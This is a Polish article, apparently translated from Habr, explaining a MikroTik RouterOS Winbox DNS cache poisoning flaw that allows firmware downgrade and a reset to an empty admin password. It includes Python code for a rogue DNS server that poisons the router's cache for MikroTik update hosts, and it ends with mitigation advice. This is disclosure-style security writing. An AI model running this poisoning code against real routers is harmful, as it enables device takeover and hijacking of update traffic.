Luka Backport w RouterOS naraża na ryzyko setki tysięcy urządzeń

Luka Backport w RouterOS naraża na ryzyko setki tysięcy urządzeń

Możliwość zdalnego obniżenia wersji urządzeń opartych na RouterOS (Mikrotik) naraża na ryzyko setki tysięcy urządzeń sieciowych. Luka związana jest z zatruwaniem pamięci podręcznej DNS protokołu Winbox i umożliwia wczytanie na urządzenie przestarzałego (z domyślnym resetem hasła) lub zmodyfikowanego oprogramowania sprzętowego.

Luka Backport w RouterOS naraża na ryzyko setki tysięcy urządzeń

Szczegóły luki

Terminal RouterOS obsługuje polecenie Resolve do wyszukiwania DNS.

Luka Backport w RouterOS naraża na ryzyko setki tysięcy urządzeń

To żądanie jest obsługiwane przez plik binarny zwany resolwerem. Resolver jest jednym z wielu plików binarnych, które łączą się z protokołem Winbox RouterOS. Na wysokim poziomie „wiadomości” wysyłane do portu Winbox mogą być kierowane do różnych plików binarnych w RouterOS w oparciu o schemat numerowania oparty na tablicach.

Domyślnie RouterOS ma wyłączoną funkcję serwera DNS.

Luka Backport w RouterOS naraża na ryzyko setki tysięcy urządzeń

Jednak nawet gdy funkcja serwera jest wyłączona, router utrzymuje własną pamięć podręczną DNS.

Luka Backport w RouterOS naraża na ryzyko setki tysięcy urządzeń

Kiedy wysyłamy żądanie za pomocą winbox_dns_request na przykład example.com, router buforuje wynik.

Luka Backport w RouterOS naraża na ryzyko setki tysięcy urządzeń

Ponieważ możemy określić serwer DNS, przez który ma przejść żądanie, wpisanie błędnych adresów jest banalne. Na przykład możesz skonfigurować implementację serwera DNS z Filip Klausaby zawsze odpowiadać rekordem A zawierającym adres IP 192.168.88.250.

def dns_response(data):
    request = DNSRecord.parse(data)
    reply = DNSRecord(DNSHeader(
        id=request.header.id, qr=1, aa=1, ra=1), q=request.q)
    qname = request.q.qname
    qn = str(qname)
    reply.add_answer(RR(qn,ttl=30,rdata=A("192.168.88.250")))
    print("---- Reply:n", reply)
    return reply.pack()

Teraz, jeśli wyszukasz example.com za pomocą Winbox, zobaczysz, że pamięć podręczna DNS routera jest zatruta.

Luka Backport w RouterOS naraża na ryzyko setki tysięcy urządzeń

Oczywiście zatruwanie example.com nie jest zbyt przydatne, ponieważ router tak naprawdę nie będzie z niego korzystał. Jednak router musi uzyskać dostęp do upgrade.mikrotik.com, cloud.mikrotik.com, cloud2.mikrotik.com i download.mikrotik.com. A dzięki kolejnemu błędowi możliwe jest otrucie ich wszystkich na raz.

def dns_response(data):
    request = DNSRecord.parse(data)
    reply = DNSRecord(DNSHeader(
        id=request.header.id, qr=1, aa=1, ra=1), q=request.q)
    qname = request.q.qname
    qn = str(qname)
    reply.add_answer(RR(qn,ttl=30,rdata=A("192.168.88.250")))
    reply.add_answer(RR("upgrade.mikrotik.com",ttl=604800,
        rdata=A("192.168.88.250")))
    reply.add_answer(RR("cloud.mikrotik.com",ttl=604800,
        rdata=A("192.168.88.250")))
    reply.add_answer(RR("cloud2.mikrotik.com",ttl=604800,
        rdata=A("192.168.88.250")))
    reply.add_answer(RR("download.mikrotik.com",ttl=604800,
        rdata=A("192.168.88.250")))
    print("---- Reply:n", reply)
    return reply.pack()

Router żąda jednego pozwolenia, a my udzielamy mu pięciu. Router nie buforuje poprawnie wszystkich tych odpowiedzi.

Luka Backport w RouterOS naraża na ryzyko setki tysięcy urządzeń

Oczywiście ten atak jest również przydatny, jeśli router działa jako serwer DNS, ponieważ umożliwia atak na klientów routera.

Atak ten pozwala również wykorzystać poważniejszą lukę: obniżyć wersję lub wykonać kopię zapasową wersji RouterOS. Osoba atakująca odtwarza logikę serwera aktualizacji, w tym dziennik zmian, i zmusza RouterOS do postrzegania przestarzałej (luki) wersji jako aktualnej. Niebezpieczeństwo polega na tym, że po „zaktualizowaniu wersji” hasło administratora zostaje zresetowane do wartości domyślnej – atakujący może zalogować się do systemu z pustym hasłem!


Mimo to atak jest całkiem skuteczny autor implementuje kilka kolejnych wektorów, w tym związanych z osadzanie backdoora w oprogramowaniu sprzętowym, ale jest to już technika zbędna i jej wykorzystanie do celów niezgodnych z prawem jest nielegalne.

ochrona

Samo wyłączenie Winboxa pozwala uchronić się przed tymi atakami. Pomimo wygody administrowania poprzez Winbox, lepiej jest skorzystać z protokołu SSH.

Źródło: www.habr.com

Dodaj komentarz